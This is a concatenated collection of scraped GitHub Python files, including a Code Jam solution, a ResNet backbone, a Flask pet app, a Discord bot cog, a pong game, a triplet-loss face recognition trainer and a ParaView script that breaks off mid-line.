diffSet.add(abs(t[i] - t[i + 1]))\n \n tmpGcd = diffSet.pop();\n setSize = len(diffSet)\n for d in range(setSize):\n tmpElem = diffSet.pop();\n tmpGcd = gcd(tmpElem, tmpGcd)\n \n y = 0\n if (t[0] % tmpGcd) != 0:\n y = tmpGcd - (t[0] % tmpGcd)\n strRes = \"Case #\" + str(c + 1) + \": \" + str(y)\n f_out.write(strRes + \"\\n\")\n print(strRes)\n\nf_in.close()\nf_out.close() ","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_54/224.py","file_name":"224.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20069335700","text":"'''check if affirmative response is in list'''\n\naffirmative = ['y', 'yes', 'yea', 'yeah', 'yup', 'yuppers', 'please', 'affirmative', 'of course']\n\ndef loop():\n var = input('do you want? [Y/N]: ')\n var = var.lower()\n if var in affirmative:\n print('Yes!')\n loop()\n else:\n print('No')\n exit()\n\nloop()\n","repo_name":"ScottBreitbach/DSC510","sub_path":"Assignments/assignment10-1/test6.py","file_name":"test6.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"500013477","text":"import torch\n\n\nclass Resnet(torch.nn.Module):\n \"\"\"\n Builds resnet backbone for the context path\n \"\"\"\n def __init__(self, features):\n \"\"\"\n\n Args:\n features: weights of a resnet model from pytorch (typically pretrained)\n \"\"\"\n super(Resnet, self).__init__()\n self.features = features\n self.conv1 = self.features.conv1\n self.bn1 = self.features.bn1\n self.relu = self.features.relu\n self.max_pool1 = self.features.maxpool\n self.layer1 = self.features.layer1\n self.layer2 = self.features.layer2\n self.layer3 = self.features.layer3\n self.layer4 = self.features.layer4\n\n def forward(self, inputs):\n x = self.conv1(inputs)\n x = self.relu(self.bn1(x))\n x = self.max_pool1(x)\n feature1 = self.layer1(x) # 1 / 4\n feature2 = self.layer2(feature1) # 1 / 8\n feature3 = self.layer3(feature2) # 1 / 16\n feature4 = self.layer4(feature3) # 1 / 32\n # global average pooling to build tail\n tail = torch.mean(feature4, 3, keepdim=True)\n tail = torch.mean(tail, 2, keepdim=True)\n return feature3, feature4, tail\n\n","repo_name":"Nico995/Self-Supervised-Adversarial-Domain-Adaptation-in-Sematic-Segmentation","sub_path":"models/backbone.py","file_name":"backbone.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12623913283","text":"import re\r\nimport time\r\n\r\nlocaldate = time.strftime(\"%Y-%m-%d\",time.localtime())\r\n\r\nmail = ' datetime hum tem pm25 fo\\n'\r\n\r\nwith open(localdate +'.txt',\"r\") as f1:\r\n for line in f1.readlines():\r\n if 'humidity' in line:\r\n newline = re.sub('^.*\"humidity','{humidity',line)\r\n m = re.findall('[\\d\\.]+',newline)\r\n hum = float(m[0])\r\n tem = float(m[1])\r\n pm25 = int(m[2])\r\n fo = float(m[3])/1000\r\n if fo > 0.6 or hum < 20 or pm25 > 80:\r\n tag = 'N'\r\n else:\r\n tag = ' '\r\n mail += tag + ' ' + line[:20] + ' '+ str(hum) + ' '+ str(tem) + ' '+ str(pm25) + ' ' + str(fo) + '\\n'\r\n\r\n# -*- coding: utf-8 -*-\r\nimport urllib.request\r\nimport json\r\nimport time\r\nimport random\r\nimport smtplib\r\nfrom email.header import Header\r\nfrom email.mime.text import MIMEText\r\n\r\n# 第三方 SMTP 服务\r\ndef sendEmail(mail):\r\n message = MIMEText(mail, 'plain', 'utf-8') # 内容, 格式, 编码\r\n message['From'] = \"{}\".format(sender)\r\n message['To'] = \",\".join(receivers)\r\n message['Subject'] = title\r\n try:\r\n smtpObj = smtplib.SMTP_SSL(mail_host, 465) # 启用SSL发信, 端口一般是465\r\n smtpObj.login(mail_user, mail_pass) # 登录验证\r\n smtpObj.sendmail(sender, receivers, message.as_string()) # 发送\r\n print(\"sent mail\")\r\n except smtplib.SMTPException as e:\r\n\r\n print(e)\r\n# if __name__ == '__main__':\r\n# sendEmail()\r\nmail_host = \"smtp.163.com\" # SMTP服务器\r\n\r\nmail_user = \"XXXXXXXXXX@163.com\" # 用户名\r\n\r\nmail_pass = \"XXXXXXXXXX\" # 授权密码,非登录密码\r\n\r\nsender = 'XXXXXXXXXX@163.com' # 发件人邮箱(最好写全, 不然会失败)\r\n\r\nreceivers = 'XXXXXXXXXX@163.com' # 接收邮件,可设置为你的QQ邮箱或者其他邮箱\r\n\r\ntitle = '【From NANOPI】Air condition of ' + localdate # 邮件主题\r\n\r\n\r\n# mail = '内容'\r\n# print(mail)\r\nsendEmail(mail)\r\n","repo_name":"guu120/phidata","sub_path":"mail_today_data.py","file_name":"mail_today_data.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"31768404007","text":"# CAMERA CLASS\n\nimport time\nimport cv2\nimport os\ndef init_camera():\n global camera\n x = 10000\n y = 10000\n camera = cv2.VideoCapture(0)\n time.sleep(1)\n camera.set(cv2.CAP_PROP_FRAME_WIDTH, int(x))\n camera.set(cv2.CAP_PROP_FRAME_HEIGHT, int(y))\ndef capture():\n global camera\n ret, frame = camera.read()\n return frame\ndef show():\n global camera\n ret, frame = cap.read()\n cv2.imshow('Camera',frame)\ndef launch():\n global camera\n try:\n init_camera()\n except Exception as e:\n print(e)\n while(True):\n ret, frame = camera.read()\n cv2.imshow('frame',frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n camera.release()\n cv2.destroyAllWindows()\n path = os.path.join(os.getcwd(),\"bin\",\"temp\",\"camout.png\")\n cv2.imwrite(path,frame)\nclass QCamera:\n def __init__(self,main,timer):\n self.wait = None\n self.on = False\n self.main = main\n self.timer = timer\n self.timer.setInterval = 2\n self.timer.timeout.connect(self.update_frame)\n x = 10000\n y = 10000\n self.camera = cv2.VideoCapture(0)\n time.sleep(1)\n self.camera.set(cv2.CAP_PROP_FRAME_WIDTH, int(x))\n self.camera.set(cv2.CAP_PROP_FRAME_HEIGHT, int(y))\n def capture (self):\n self.timer.stop()\n\n self.wait = True\n return self.frame\n def update_frame (self):\n if not self.wait == True: ret, self.frame = self.camera.read()\n self.main.set_pic(self.main.gui.input_image_btn,self.frame)\n def show(self):\n pass\n def launch(self):\n if self.on == False: return\n self.wait = False\n self.timer.start()\n def stop(self):\n self.timer.stop()\n self.on = False\n self.camera.release()\n def start(self):\n self.camera.open(0)\n self.on = True\n def setfps(self,fps):\n self.timer.setInterval = int(fps)\n def __call__(self, *args, **kwargs):\n return self.on # Camera status -> on or off\nif __name__ == \"__main__\":\n init_camera()\n while(True):\n ret, frame = camera.read()\n cv2.imshow('frame',frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n camera.release()\n cv2.destroyAllWindows()\n","repo_name":"QuAS-Robotic/quatomation","sub_path":"bin/qcamera.py","file_name":"qcamera.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24167650294","text":"from flask import Flask, render_template, flash, redirect, render_template\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom models1 import connect_db, Pet,db\nfrom forms1 import AddPet, EditPet\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = \"oh-so-secret\"\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"postgresql:///WTForms_Exercise\"\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\napp.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = False\ndebug = DebugToolbarExtension(app)\n\nconnect_db(app)\n\n@app.route('/')\ndef get_homepage():\n \"\"\"Return a homepage listing all the pets\"\"\"\n pets = Pet.query.all()\n return render_template('/pet_list.html', pets = pets)\n\n@app.route('/pets/new', methods = ['GET', 'POST'])\ndef add_new_pets():\n \"\"\"handling pets submission and getting form\"\"\"\n form = AddPet()\n if form.validate_on_submit():\n name = form.name.data\n age = form.age.data\n species = form.species.data\n photo_url = form.photo_url.data\n notes = form.notes.data\n new_pet = Pet(name = name, age = age, species = species,\n photo_url = photo_url, notes = notes)\n\n with app.app_context():\n db.session.add(new_pet)\n db.session.commit()\n flash(f\"{new_pet.name} Added\")\n return redirect('/')\n\n else:\n return render_template('pet_add_form.html', form = form)\n\n@app.route('/', methods = ['GET', 'POST'])\ndef edit_pet(pet_id):\n \"\"\"Edit a pet\"\"\"\n pet = Pet.query.get_or_404(pet_id)\n form = EditPet()\n if form.validate_on_submit():\n pet.notes = form.notes.data\n pet.available = form.available.data\n pet.photo_url = form.photo_url.data\n \n with app.app_context():\n db.session.commit()\n flash (f'{pet.name} edited.')\n return redirect('/')\n \n else:\n return render_template('pet_edit_form.html', form = form)\n","repo_name":"ILikeeggs313/WTForms-Exercise","sub_path":"exercise/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31653785794","text":"from typing import Dict, List\n\nimport numpy as np\nimport sklearn.metrics as skmetrics\nimport torch\nfrom sklearn.neighbors import KNeighborsClassifier\n\nfrom src import utils\n\n\ndef evaluate_knn_on_pretrained_model(\n model: torch.nn.Module,\n device: torch.device,\n loaders: Dict[str, torch.utils.data.DataLoader],\n metrics: List[str],\n):\n model.eval()\n with torch.no_grad():\n x_train = []\n y_train = []\n for x, y_true in loaders[\"train\"]:\n x = [x_.to(device) for x_ in x]\n x_train.extend(model.encode(x).cpu().data.numpy().tolist())\n y_train.extend(y_true.squeeze(-1).cpu().data.numpy().tolist())\n\n x_test = []\n y_true_all = []\n for x, y_true in loaders[\"test\"]:\n x = [x_.to(device) for x_ in x]\n x_test.extend(model.encode(x).cpu().data.numpy().tolist())\n y_true_all.extend(y_true.squeeze(-1).cpu().data.numpy().tolist())\n\n x_train = np.array(x_train)\n y_train = np.array(y_train)\n x_test = np.array(x_test)\n y_true_all = np.array(y_true_all)\n\n neigh = KNeighborsClassifier(n_neighbors=3)\n neigh.fit(x_train, y_train)\n y_pred_all = neigh.predict_proba(x_test)[:, 1]\n\n metrics_values = utils.metrics.calculate_metrics(\n metrics=metrics, y_true=y_true_all, y_pred=y_pred_all, threshold=0.5\n )\n\n results = {}\n results[\"metrics\"] = metrics_values\n results[\"pred\"] = y_pred_all.tolist()\n return results\n","repo_name":"GSK-AI/meta-learning-qsar","sub_path":"src/training/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"23547807041","text":"#!/usr/bin/env python3\nT = int(input())\nfor t in range(T):\n ans = 0\n S, K = input().split()\n K = int(K)\n S = [int(c + '1') for c in S]\n l = len(S) - K + 1\n for i in range(l):\n if S[i] == -1:\n ans += 1\n S[i:i+K] = [-s for s in S[i:i+K]]\n if any(s != 1 for s in S):\n ans = \"IMPOSSIBLE\"\n print(\"Case #{}: {}\".format(t + 1, ans))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/39.py","file_name":"39.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70617908675","text":"from turtle import Screen\nfrom paddle import Paddle\nfrom ball import Ball\nimport time\nfrom playerscore import PlayerScore\n\nTOP_SCREEN = 300\nBOTTOM_SCREEN = -300\n\nscreen = Screen()\nscreen.setup(width=800, height=600)\nscreen.bgcolor(\"black\")\nscreen.title(\"Pong\")\nscreen.listen()\nscreen.tracer(0)\nr_paddle = Paddle((350, 0))\nr_score = PlayerScore((50, 260))\nl_paddle = Paddle((-350, 0))\nl_score = PlayerScore((-50, 260))\nball = Ball()\ngame_is_on = True\n\n\ndef endgame():\n game_is_on = False\n\n\nscreen.onkey(r_paddle.up, \"Up\")\nscreen.onkey(r_paddle.down, \"Down\")\nscreen.onkey(l_paddle.up, \"w\")\nscreen.onkey(l_paddle.down, \"s\")\nscreen.onkey(endgame, \"e\")\n\nball_x = 0\nball_y = 0\n\nwhile game_is_on:\n time.sleep(ball.move_speed)\n screen.update()\n ball.move_ball()\n\n # detect collision with wall\n if ball.ycor() > 280 or ball.ycor() < -280:\n ball.bounce_y()\n\n # detect collision with r paddle\n if ball.distance(r_paddle) < 50 and ball.xcor() > 320 or ball.distance(l_paddle) < 50 and ball.xcor() < -320:\n ball.bounce_x()\n\n # detect ball miss the paddle\n if ball.xcor() > 400:\n l_score.update_score()\n ball.restart()\n if ball.xcor() < -400:\n r_score.update_score()\n ball.restart()\n\nscreen.exitonclick()\n","repo_name":"David-projects/python_pong","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43146797280","text":"class Solution:\n def sortPeople(self, names: List[str], heights: List[int]) -> List[str]:\n p = []\n n = len(heights)\n\n for i in range(n):\n p.append([ heights[i], names[i]])\n p.sort(reverse = True)\n ans = []\n for i in p:\n ans.append(i[1])\n return ans","repo_name":"hardik302001/leetcode","sub_path":"problems/sort_the_people/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"22545722737","text":"import psutil,os\r\nimport discord\r\nfrom discord.ext import commands\r\nfrom commands.bin.embed import getembed\r\nfrom commands.cmds.permission import HavePermission\r\nfrom commands.config.color import *\r\nfrom commands.config.config import NO_PERMISSION, RAM_EMBED\r\nfrom core.aliese import ALIESE_ram\r\nfrom core.classes import Cog_Extension\r\n\r\nclass Ram(Cog_Extension):\r\n @commands.command(aliases=ALIESE_ram)\r\n async def ram(self,ctx):\r\n if not HavePermission(ctx.author.id,ctx.guild.id,4):\r\n await ctx.channel.send(embed=getembed(\"\",NO_PERMISSION,RED))\r\n return\r\n def my_ram():\r\n process = psutil.Process(os.getpid())\r\n return (psutil.Process(os.getpid()).memory_info().rss / 1024 ** 2)\r\n memoryEmbed = getembed(RAM_EMBED.TITLE,RAM_EMBED.DESCRIPTION.format(my_ram()),RAM_EMBED.color)\r\n await ctx.send(embed=memoryEmbed)\r\n @commands.command()\r\n async def load(self,ctx,extension):\r\n if not HavePermission(ctx.author.id,ctx.guild.id,4):\r\n await ctx.channel.send(embed=getembed(\"\",NO_PERMISSION,RED))\r\n return\r\n self.bot.load_extension(f'commands.cmds.{extension}')\r\n await ctx.channel.send(f'Load commands.cmds.{extension} Done')\r\n @commands.command()\r\n async def reload(self,ctx,extension):\r\n if not HavePermission(ctx.author.id,ctx.guild.id,4):\r\n await ctx.channel.send(embed=getembed(\"\",NO_PERMISSION,RED))\r\n return\r\n self.bot.reload_extension(f'{extension}')\r\n await ctx.channel.send(f'reLoad {extension} Done')\r\n @commands.command()\r\n async def unload(self,ctx,extension):\r\n if not HavePermission(ctx.author.id,ctx.guild.id,4):\r\n await ctx.channel.send(embed=getembed(\"\",NO_PERMISSION,RED))\r\n return\r\n self.bot.unload_extension(f'commands.cmds.{extension}')\r\n await ctx.channel.send(f'unLoad commands.cmds.{extension} Done')\r\ndef setup(bot):\r\n bot.add_cog(Ram(bot))\r\n","repo_name":"ALiangLiang/Uto2.0","sub_path":"commands/cmds/ram.py","file_name":"ram.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2392702795","text":"from keras.callbacks import ModelCheckpoint, LearningRateScheduler, TensorBoard, EarlyStopping\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nimport numpy as np\r\nfrom keras import backend as K\r\nfrom model_ import deep_rank_model\r\nfrom dataPreparation import data_train_enriched\r\nimport os\r\nfrom keras.optimizers import gradient_descent_v2\r\nimport cv2\r\nfrom featureExtraction import img_normalize\r\nimport json\r\nfrom sklearn.preprocessing import LabelEncoder\r\n\r\n\r\ndef read_user_json():\r\n names = []\r\n fld_list = []\r\n with open(r'storage\\something\\users.json', encoding='utf-8') as json_file:\r\n data = json.load(json_file)\r\n users = data['users']\r\n for user in users:\r\n name = user['name']\r\n fld = user['fld_name']\r\n fld_list.append(fld)\r\n names.append(name)\r\n return names, fld_list\r\n\r\n\r\nimageTrain_dir = r'storage\\imageTrain'\r\n\r\ndef preprocessing():\r\n names_, fld_list = read_user_json()\r\n imgs_norm = []\r\n labels = []\r\n names = []\r\n for fld in os.listdir(imageTrain_dir):\r\n sub_dir = os.path.join(imageTrain_dir,fld)\r\n for image in os.listdir(sub_dir):\r\n img_path = os.path.join(sub_dir,image)\r\n img = cv2.imread(img_path)\r\n img_norm = img_normalize(img)\r\n imgs_norm.append(img_norm) \r\n names.append(names_[fld_list.index(fld)])\r\n # imgs_norm=np.expand_dims(imgs_norm,axis=0)\r\n le = LabelEncoder()\r\n labels = le.fit_transform(names)\r\n return imgs_norm, labels, names\r\n\r\n\r\nbatch_size = 24\r\n\r\n_EPSILON = K.epsilon()\r\ndef _loss_tensor(y_true, y_pred):\r\n y_pred = K.clip(y_pred, _EPSILON, 1.0 - _EPSILON)\r\n loss = 0.\r\n g = 1.\r\n for i in range(0, batch_size, 3):\r\n try:\r\n q_embedding = y_pred[i]\r\n p_embedding = y_pred[i+1]\r\n n_embedding = y_pred[i+2]\r\n D_q_p = K.sqrt(K.sum((q_embedding - p_embedding)**2))\r\n D_q_n = K.sqrt(K.sum((q_embedding - n_embedding)**2))\r\n loss = loss + g + D_q_p - D_q_n\r\n except:\r\n continue\r\n loss = loss/batch_size*3\r\n return K.maximum(loss, 0)\r\n\r\n\r\ndef image_batch_generator(images, labels, batch_size):\r\n # labels = np.array(labels)\r\n while True:\r\n batch_paths = np.random.choice(a = len(images), size = batch_size//3)\r\n input_1 = []\r\n \r\n for i in batch_paths:\r\n pos = np.where(labels == labels[i])[0]\r\n neg = np.where(labels != labels[i])[0]\r\n \r\n j = np.random.choice(pos)\r\n while j == i:\r\n j = np.random.choice(pos)\r\n \r\n k = np.random.choice(neg)\r\n while k == i:\r\n k = np.random.choice(neg)\r\n \r\n input_1.append(images[i])\r\n input_1.append(images[j])\r\n input_1.append(images[k])\r\n\r\n input_1 = np.array(input_1)\r\n input = [input_1, input_1, input_1]\r\n yield(input, np.zeros((batch_size, )))\r\n\r\n\r\ndef train_triplet_loss(batch_size_=24,lr=0.001,epochs=2000):\r\n batch_size = batch_size_\r\n data_train_enriched()\r\n\r\n X, y, names = preprocessing()\r\n # print(np.shape(X), np.shape(y))\r\n\r\n filepath = r'storage\\model\\triplet_weight.h5'\r\n checkpoint = ModelCheckpoint(filepath, monitor='loss', verbose=1, save_weights_only=True, save_best_only=True, mode='min')\r\n callbacks_list = [checkpoint]\r\n\r\n deep_rank_model_ = deep_rank_model()\r\n # deep_rank_model_.summary()\r\n sgd = gradient_descent_v2.SGD(lr=lr,momentum=0.9,nesterov=True)\r\n deep_rank_model_.compile(loss=_loss_tensor, optimizer=sgd)\r\n deep_rank_model_.fit_generator(\r\n generator=image_batch_generator(X, y, batch_size),\r\n steps_per_epoch=len(X)//batch_size,\r\n epochs=epochs,\r\n verbose=1,\r\n callbacks=callbacks_list\r\n )\r\n\r\n# train_triplet_loss(batch_size_=24, epochs=3)\r\n\r\n\r\n\r\n","repo_name":"visuallong/face_recognition_app","sub_path":"preTrain.py","file_name":"preTrain.py","file_ext":"py","file_size_in_byte":3961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25482804677","text":"from Stack import MyStack\n\n\ndef evaluate_post_fix(exp):\n num_stack = MyStack()\n for i in exp:\n if i.isdigit():\n num_stack.push(i)\n else:\n a = num_stack.pop()\n b = num_stack.pop()\n eq = str(a) + str(i) + str(b)\n print(eq)\n res = eval(eq)\n print(res)\n print(a)\n print(i)\n print(b)\n print(num_stack)\n\n\ndef next_greater_element(lst):\n s = MyStack()\n res = [-1] * len(lst)\n print(res)\n\n for i in range(len(lst) - 1, -1, -1):\n print(i)\n if not s.is_empty():\n while not s.is_empty() and s.top() <= lst[i]:\n s.pop()\n\n if not s.is_empty():\n res[i] = s.top()\n\n s.push(lst[i])\n\n return res\n\n\nnext_greater_element([4, 6, 3, 2, 8, 1])\n\n# expr = \"921*-8-4+\"\n# evaluate_post_fix(expr)\n# output 3\n","repo_name":"michal0janczyk/interview_preparation","sub_path":"Fundamentals/Stacks/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27616050066","text":"# 435. Non-overlapping Intervals\n# Medium\n# Array, Dynamic Programming, Greedy, Sorting\n# https://leetcode.com/problems/non-overlapping-intervals\n#\n# Return the minimum number of removed intervals needed to make the rest non-overlapping.\n# Input: intervals = [[1,2],[2,3],[3,4],[1,3]]\n# Output: 1\n\nfrom operator import itemgetter\n\nclass Solution:\n def eraseOverlapIntervals(self, intervals: list[list[int]]) -> int:\n get_start, get_end = itemgetter(0), itemgetter(1)\n intervals.sort(key=get_end)\n prev = float('-inf')\n removals = 0\n # After sorting by end...\n for interval in intervals:\n # ... track non-overlapping ends.\n if get_start(interval) >= prev:\n prev = get_end(interval)\n else: # Overlap found, remove it.\n removals += 1\n return removals\n","repo_name":"daviscvance/Practice","sub_path":"Leetcode/Python/intervals/medium/435-non-overlapping-intervals.py","file_name":"435-non-overlapping-intervals.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39028485226","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Apr 10 17:02:06 2018\r\n\r\n@author: Admin1\r\n\"\"\"\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\n\r\nurl_string = \"https://www.google.com.au/search?q=bitcoin&rlz=1C1AVSX_enAU699AU700&tbm=nws&source=lnms&tbs=qdr:d&sa=X&ved=0ahUKEwjv1aG-uK_aAhWKiLwKHfp-CcYQ_AUICigB&biw=1921&bih=954&dpr=1\"\r\n\r\ngoogle_page = requests.get(url_string)\r\n\r\nsoup = BeautifulSoup(google_page.content, 'html.parser')\r\n\r\narticles = soup.find_all('div', class_='st')\r\ntext_snippets = []\r\nfor article in articles: \r\n text_snippets.append(article.get_text())\r\n \r\n# write data to csv\r\nimport csv\r\n\r\ntime = '2018-04-10 20:26:00'\r\n\r\nwith open('text_snippets.csv', 'w', newline='') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=' ', quotechar='|', \r\n quoting=csv.QUOTE_MINIMAL)\r\n writer.writerow(['time', 'text'])\r\n for snippet in text_snippets:\r\n writer.writerow([time , snippet])\r\n \r\n # write each result as a new row\r\n \r\n \r\n#.find_all('div', class_='tile'","repo_name":"NickMoignard/Turtle_Trading_Algorithm","sub_path":"crypto_python_scripts/bs4_test.py","file_name":"bs4_test.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70894750914","text":"#### import the simple module from the paraview\nfrom paraview.simple import *\n#### disable automatic camera reset on 'Show'\nparaview.simple._DisableFirstRenderCameraReset()\n\n# create a new 'PVD Reader'\nsolutionpvd = PVDReader(FileName='sandbox/restart_sandbox/solution.pvd')\n\n# find source\nsolutionpvd_1 = FindSource('solution.pvd')\n\nLoadState(\"sandbox/Correct_color_scales.pvsm\")\n\n# find source\nannotateTimeFilter1 = FindSource('AnnotateTimeFilter1')\n\n# get active view\nrenderView1 = GetActiveViewOrCreate('RenderView')\n# uncomment following to set a specific view size\nrenderView1.ViewSize = [1087, 758]\n\n# show data in view\nsolutionpvdDisplay = Show(solutionpvd, renderView1)\n# trace defaults for the display properties.\nsolutionpvdDisplay.CubeAxesVisibility = 0\nsolutionpvdDisplay.Representation = 'Surface'\nsolutionpvdDisplay.AmbientColor = [0.0, 0.0, 1.0]\nsolutionpvdDisplay.ColorArrayName = [None, '']\nsolutionpvdDisplay.DiffuseColor = [1.0, 1.0, 1.0]\nsolutionpvdDisplay.LookupTable = None\nsolutionpvdDisplay.MapScalars = 1\nsolutionpvdDisplay.InterpolateScalarsBeforeMapping = 1\nsolutionpvdDisplay.Opacity = 1.0\nsolutionpvdDisplay.PointSize = 2.0\nsolutionpvdDisplay.LineWidth = 1.0\nsolutionpvdDisplay.Interpolation = 'Gouraud'\nsolutionpvdDisplay.Specular = 0.0\nsolutionpvdDisplay.SpecularColor = [1.0, 1.0, 1.0]\nsolutionpvdDisplay.SpecularPower = 100.0\nsolutionpvdDisplay.Ambient = 0.0\nsolutionpvdDisplay.Diffuse = 1.0\nsolutionpvdDisplay.EdgeColor = [0.0, 0.0, 1.0]\nsolutionpvdDisplay.BackfaceRepresentation = 'Follow Frontface'\nsolutionpvdDisplay.BackfaceAmbientColor = [1.0, 1.0, 1.0]\nsolutionpvdDisplay.BackfaceDiffuseColor = [1.0, 1.0, 1.0]\nsolutionpvdDisplay.BackfaceOpacity = 1.0\nsolutionpvdDisplay.Position = [0.0, 0.0, 0.0]\nsolutionpvdDisplay.Scale = [1.0, 1.0, 1.0]\nsolutionpvdDisplay.Orientation = [0.0, 0.0, 0.0]\nsolutionpvdDisplay.Origin = [0.0, 0.0, 0.0]\nsolutionpvdDisplay.Pickable = 1\nsolutionpvdDisplay.Texture = None\nsolutionpvdDisplay.Triangulate = 0\nsolutionpvdDisplay.NonlinearSubdivisionLevel = 1\nsolutionpvdDisplay.GlyphType = 'Arrow'\nsolutionpvdDisplay.CubeAxesColor = [0.0, 0.0, 1.0]\nsolutionpvdDisplay.CubeAxesCornerOffset = 0.0\nsolutionpvdDisplay.CubeAxesFlyMode = 'Closest Triad'\nsolutionpvdDisplay.CubeAxesInertia = 1\nsolutionpvdDisplay.CubeAxesTickLocation = 'Inside'\nsolutionpvdDisplay.CubeAxesXAxisMinorTickVisibility = 1\nsolutionpvdDisplay.CubeAxesXAxisTickVisibility = 1\nsolutionpvdDisplay.CubeAxesXAxisVisibility = 1\nsolutionpvdDisplay.CubeAxesXGridLines = 0\nsolutionpvdDisplay.CubeAxesXTitle = 'X-Axis'\nsolutionpvdDisplay.CubeAxesUseDefaultXTitle = 1\nsolutionpvdDisplay.CubeAxesYAxisMinorTickVisibility = 1\nsolutionpvdDisplay.CubeAxesYAxisTickVisibility = 1\nsolutionpvdDisplay.CubeAxesYAxisVisibility = 1\nsolutionpvdDisplay.CubeAxesYGridLines = 0\nsolutionpvdDisplay.CubeAxesYTitle = 'Y-Axis'\nsolutionpvdDisplay.CubeAxesUseDefaultYTitle = 1\nsolutionpvdDisplay.CubeAxesZAxisMinorTickVisibility = 1\nsolutionpvdDisplay.CubeAxesZAxisTickVisibility = 1\nsolutionpvdDisplay.CubeAxesZAxisVisibility = 1\nsolutionpvdDisplay.CubeAxesZGridLines = 0\nsolutionpvdDisplay.CubeAxesZTitle = 'Z-Axis'\nsolutionpvdDisplay.CubeAxesUseDefaultZTitle = 1\nsolutionpvdDisplay.CubeAxesGridLineLocation = 'All Faces'\nsolutionpvdDisplay.CustomBounds = [0.0, 1.0, 0.0, 1.0, 0.0, 1.0]\nsolutionpvdDisplay.CustomBoundsActive = [0, 0, 0]\nsolutionpvdDisplay.OriginalBoundsRangeActive = [0, 0, 0]\nsolutionpvdDisplay.CustomRange = [0.0, 1.0, 0.0, 1.0, 0.0, 1.0]\nsolutionpvdDisplay.CustomRangeActive = [0, 0, 0]\nsolutionpvdDisplay.UseAxesOrigin = 0\nsolutionpvdDisplay.AxesOrigin = [0.0, 0.0, 0.0]\nsolutionpvdDisplay.CubeAxesXLabelFormat = '%-#6.3g'\nsolutionpvdDisplay.CubeAxesYLabelFormat = '%-#6.3g'\nsolutionpvdDisplay.CubeAxesZLabelFormat = '%-#6.3g'\nsolutionpvdDisplay.StickyAxes = 0\nsolutionpvdDisplay.CenterStickyAxes = 0\nsolutionpvdDisplay.SelectionCellLabelBold = 0\nsolutionpvdDisplay.SelectionCellLabelColor = [0.0, 1.0, 0.0]\nsolutionpvdDisplay.SelectionCellLabelFontFamily = 'Arial'\nsolutionpvdDisplay.SelectionCellLabelFontSize = 18\nsolutionpvdDisplay.SelectionCellLabelItalic = 0\nsolutionpvdDisplay.SelectionCellLabelJustification = 'Left'\nsolutionpvdDisplay.SelectionCellLabelOpacity = 1.0\nsolutionpvdDisplay.SelectionCellLabelShadow = 0\nsolutionpvdDisplay.SelectionPointLabelBold = 0\nsolutionpvdDisplay.SelectionPointLabelColor = [1.0, 1.0, 0.0]\nsolutionpvdDisplay.SelectionPointLabelFontFamily = 'Arial'\nsolutionpvdDisplay.SelectionPointLabelFontSize = 18\nsolutionpvdDisplay.SelectionPointLabelItalic = 0\nsolutionpvdDisplay.SelectionPointLabelJustification = 'Left'\nsolutionpvdDisplay.SelectionPointLabelOpacity = 1.0\nsolutionpvdDisplay.SelectionPointLabelShadow = 0\nsolutionpvdDisplay.ScalarOpacityUnitDistance = 0.00817991466739737\nsolutionpvdDisplay.SelectMapper = 'Projected tetra'\nsolutionpvdDisplay.GaussianRadius = 0.0\nsolutionpvdDisplay.ShaderPreset = 'Sphere'\nsolutionpvdDisplay.Emissive = 0\nsolutionpvdDisplay.ScaleByArray = 0\nsolutionpvdDisplay.SetScaleArray = ['POINTS', 'C_1']\nsolutionpvdDisplay.ScaleTransferFunction = 